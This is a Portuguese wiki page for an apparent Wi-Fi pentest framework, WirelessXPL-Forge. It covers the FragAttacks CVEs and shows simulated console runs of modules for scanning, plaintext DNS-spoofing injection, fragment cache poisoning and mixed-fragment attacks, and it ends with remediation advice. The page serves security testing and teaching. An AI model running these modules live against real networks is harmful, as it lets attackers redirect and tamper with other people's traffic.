Skip to content

FragAttacks ptBR

André Henrique edited this page Jun 8, 2026 · 1 revision

Idioma: Português (pt-BR) | English: FragAttacks

FragAttacks (CVE-2020-26140+)

FragAttacks (Fragmentation and Aggregation Attacks - Ataques de Fragmentação e Agregação) é um conjunto de falhas de design e implementação no padrão Wi-Fi 802.11. Descobertos por Mathy Vanhoef e publicados em 2021, afetam virtualmente todos os dispositivos Wi-Fi independentemente do protocolo de segurança (WEP, WPA, WPA2, WPA3).


Índice de CVEs

CVE Nome Tipo CVSS Status
CVE-2020-26139 Encaminhamento de frames EAPOL Falha de design 5,3 Divulgado maio/2021
CVE-2020-26140 Injeção de texto simples em APs não estritos Falha de design 6,5 Divulgado maio/2021
CVE-2020-26141 Abuso de cache de fragmentos Falha de design 6,5 Divulgado maio/2021
CVE-2020-26142 Fragmento processado como frame completo Falha de design 5,3 Divulgado maio/2021
CVE-2020-26143 Aceitação de fragmento misto plaintext/cifrado Falha de design 6,5 Divulgado maio/2021
CVE-2020-26144 Aceitar fragmentos broadcast em plaintext Implementação 6,5 Divulgado maio/2021
CVE-2020-26145 Aceitar A-MSDU broadcast não-SPP em plaintext Implementação 6,5 Divulgado maio/2021
CVE-2020-26146 Remontar fragmentos com pn não consecutivos Implementação 5,3 Divulgado maio/2021
CVE-2020-26147 Remontar fragmentos mistos cifrados/plaintext Implementação 5,3 Divulgado maio/2021

Referência de Módulos

Módulo Descrição
fragattacks/fragattacks_scanner Scanner passivo para detecção de APs vulneráveis a FragAttacks via flags de beacon
fragattacks/fragattacks_cve_2020_26140 CVE-2020-26140 - Injeção de dados em plaintext em APs WPA2 não estritos
fragattacks/fragattacks_cve_2020_26141 CVE-2020-26141 - Abuso de cache de fragmentos / injeção de fragmentos não contíguos
fragattacks/fragattacks_cve_2020_26143 CVE-2020-26143 - Aceitação de fragmento misto plaintext/cifrado
wifi_lab/fragattacks Suite completa FragAttacks (wrapper para todos os módulos)

Contexto

Como funciona a fragmentação no 802.11

Frames 802.11 grandes podem ser fragmentados em partes menores para transmissão. Cada fragmento carrega:

  • Um número de fragmento (0-15)
  • Um bit "mais fragmentos" (1 se houver mais, 0 para o último)
  • O mesmo número de sequência do frame original

O receptor remonta os fragmentos combinando números de sequência e acompanhando o bit "mais fragmentos".

As falhas de design

CVE-2020-26140 / 26143 (injeção plaintext/misto): Alguns APs aceitam e encaminham frames de dados em plaintext durante uma sessão WPA2 ativa. Um atacante pode injetar frames em plaintext como fragmentos que o AP remonta e encaminha para um alvo dentro da rede protegida.

CVE-2020-26141 (abuso de cache de fragmentos): Fragmentos permanecem em cache por mais de 10 segundos. Um atacante pode envenenar o cache injetando um primeiro fragmento malicioso, aguardar a retransmissão legítima de um segundo fragmento e fazer com que o AP remonte o frame combinado envenenado.


Scanner de Vulnerabilidades

wxf > use generic/wifi_lab/fragattacks/fragattacks_scanner
wxf (FragAttacksScanner) > set INTERFACE wlan0mon
wxf (FragAttacksScanner) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacksScanner) > run

[*] Scanning AA:BB:CC:DD:EE:FF for FragAttacks vulnerabilities...
[*] Probe 1: checking 802.11n/ac/ax beacon flags (protected management frames)...
[*] Probe 2: checking TKIP fragment handling...
[*] Probe 3: checking A-MSDU subframe header spoofing...
[*] Probe 4: checking plaintext fragment injection acceptance...

Results:
  CVE-2020-26140: LIKELY VULNERABLE (no SPP A-MSDU support detected)
  CVE-2020-26141: LIKELY VULNERABLE (fragment cache timeout > 5s)
  CVE-2020-26143: CHECKING - requires active association test
  CVE-2020-26144: NOT TESTED (requires association)
  PMF enabled: no (makes CVE-2020-26139 easier)

[*] Recommend: test CVE-2020-26140 and CVE-2020-26141 with associated client

CVE-2020-26140 - Injeção de Dados em Plaintext

Impacto: Um atacante pode injetar pacotes IP arbitrários em plaintext em uma rede protegida por WPA2, explorando APs que aceitam frames de dados em plaintext não estritos.

Cenário de ataque: Injetar uma resposta DNS apontando para um IP controlado pelo atacante, fazendo clientes se conectarem a um servidor malicioso.

wxf > use generic/wifi_lab/fragattacks/fragattacks_cve_2020_26140
wxf (FragAttacks-26140) > show options

Options:
  INTERFACE     wlan0mon    Interface em modo monitor
  TARGET_BSSID  (required)  BSSID do AP alvo
  TARGET_IP     (required)  Endereço IP do cliente alvo
  INJECT_TYPE   dns         Tipo de payload (dns, arp, icmp, raw)
  DNS_NAME      example.com Nome DNS a falsificar (para tipo dns)
  DNS_IP        10.0.0.1    IP de resposta DNS falsificada
  SIMULATE      true        Simulação

wxf (FragAttacks-26140) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks-26140) > set TARGET_IP 192.168.1.50
wxf (FragAttacks-26140) > set INJECT_TYPE dns
wxf (FragAttacks-26140) > set DNS_NAME updates.company.com
wxf (FragAttacks-26140) > set DNS_IP 10.10.10.10
wxf (FragAttacks-26140) > set SIMULATE true
wxf (FragAttacks-26140) > run

[SIMULATE] CVE-2020-26140: Plaintext fragment injection
[SIMULATE] Target AP: AA:BB:CC:DD:EE:FF
[SIMULATE] Target client: 192.168.1.50
[SIMULATE] Payload: DNS response for updates.company.com -> 10.10.10.10

[SIMULATE] Frame construction:
[SIMULATE]   Header: ToDS=1 FromDS=0 fragment=0 moreFrag=1 protected=0
[SIMULATE]   Addr1 (recv): AA:BB:CC:DD:EE:FF (AP)
[SIMULATE]   Addr2 (src):  spoofed client MAC
[SIMULATE]   Addr3 (dest): 192.168.1.50
[SIMULATE]   Payload: UDP DNS response (spoofed)

[SIMULATE] Expected behavior on vulnerable AP:
[SIMULATE]   AP forwards plaintext frame to target client
[SIMULATE]   Client receives spoofed DNS response
[SIMULATE]   Client resolves updates.company.com to 10.10.10.10

[!] Set SIMULATE=false to inject live
[!] PREREQ: wlan0mon in monitor mode | Associated client at 192.168.1.50
[!] NOTE: Requires AP that does not enforce 802.11w (PMF)

CVE-2020-26141 - Abuso de Cache de Fragmentos

Impacto: Ao injetar um primeiro fragmento malicioso no cache de remontagem de fragmentos do AP, um atacante pode interceptar ou modificar tráfego legítimo quando o remetente original retransmite fragmentos subsequentes.

wxf > use generic/wifi_lab/fragattacks/fragattacks_cve_2020_26141
wxf (FragAttacks-26141) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks-26141) > set TARGET_IP 192.168.1.50
wxf (FragAttacks-26141) > set SIMULATE true
wxf (FragAttacks-26141) > run

[SIMULATE] CVE-2020-26141: Fragment cache poisoning
[SIMULATE] Step 1: Inject malicious first fragment (frag=0, moreFrag=1)
[SIMULATE]   Malicious fragment sent to AP cache under sequence number X
[SIMULATE]   Cache entry: seq=X frag=0 -> [malicious payload]

[SIMULATE] Step 2: Wait for legitimate fragment frag=1 from target
[SIMULATE]   Triggering retransmit via deauth... (simulated)

[SIMULATE] Step 3: AP reassembles: [malicious frag 0] + [legitimate frag 1]
[SIMULATE]   Combined frame forwarded to target with partial attacker control

[SIMULATE] Fragment cache timeout: 10s (window for step 2)
[SIMULATE] Expected outcome: partial payload modification of target traffic

[!] Set SIMULATE=false to run live
[!] This attack requires precise timing and a vulnerable AP

CVE-2020-26143 - Aceitação de Fragmento Misto Plaintext/Cifrado

Impacto: Alguns APs e drivers aceitam frames A-MSDU que começam com um header RFC 1042 em plaintext, permitindo que um atacante faça dados arbitrários serem interpretados como um subframe de um A-MSDU cifrado legítimo.

wxf > use generic/wifi_lab/fragattacks/fragattacks_cve_2020_26143
wxf (FragAttacks-26143) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks-26143) > set SIMULATE true
wxf (FragAttacks-26143) > run

[SIMULATE] CVE-2020-26143: Mixed plaintext/encrypted fragment
[SIMULATE] Constructing A-MSDU with spoofed plaintext RFC 1042 header
[SIMULATE]   Outer frame: encrypted CCMP (looks legitimate to driver)
[SIMULATE]   Inner subframe header: plaintext (spoofed destination + EtherType)
[SIMULATE]   Payload: attacker-controlled data injected into decrypted result

[SIMULATE] Vulnerable implementations: affected Linux mac80211, some Broadcom drivers
[SIMULATE] Test probes sent: 3 (CCMP with A-MSDU flag set)
[SIMULATE] Analysis: checking beacon IE for A-MSDU support flags

[!] Set SIMULATE=false to test live
[!] PREREQ: Associated STA on target AP network

Execução da Suite Completa

O módulo wrapper executa os três principais CVEs FragAttacks em sequência:

wxf > use generic/wifi_lab/fragattacks
wxf (FragAttacks) > set INTERFACE wlan0mon
wxf (FragAttacks) > set TARGET_BSSID AA:BB:CC:DD:EE:FF
wxf (FragAttacks) > set SIMULATE true
wxf (FragAttacks) > run

[SIMULATE] FragAttacks full suite
[SIMULATE] Target: AA:BB:CC:DD:EE:FF

[SIMULATE] [1/3] CVE-2020-26140: plaintext injection test... LIKELY_VULNERABLE
[SIMULATE] [2/3] CVE-2020-26141: fragment cache test...      LIKELY_VULNERABLE
[SIMULATE] [3/3] CVE-2020-26143: mixed fragment test...      INCONCLUSIVE

[SIMULATE] Summary:
  CVE-2020-26140: LIKELY VULNERABLE
  CVE-2020-26141: LIKELY VULNERABLE
  CVE-2020-26143: INCONCLUSIVE (requires active association)

[!] Set SIMULATE=false to run live tests

Remediação

  • Aplicar atualizações de driver e firmware Wi-Fi dos fornecedores
  • Habilitar PMF (Protected Management Frames / 802.11w) onde suportado
  • Utilizar tuneis cifrados (VPN, TLS) sobre Wi-Fi para mitigar injeção em plaintext
  • Ataques de cache de fragmentos são mitigados por alguns drivers modernos que limpam o cache na reconexão

Referências:


Páginas relacionadas: KRACK | Ataques Wi-Fi | Configuração


Autor: André Henrique (@mrhenrike) | União Geek

WirelessXPL-Forge v1.8.0

Home-pt-BR | Home


Português (pt-BR)

Primeiros Passos

Ataques Wireless

Drones e UAV

Protocolos Especializados

Ferramentas de Pentest

Hardware

Clone this wiki locally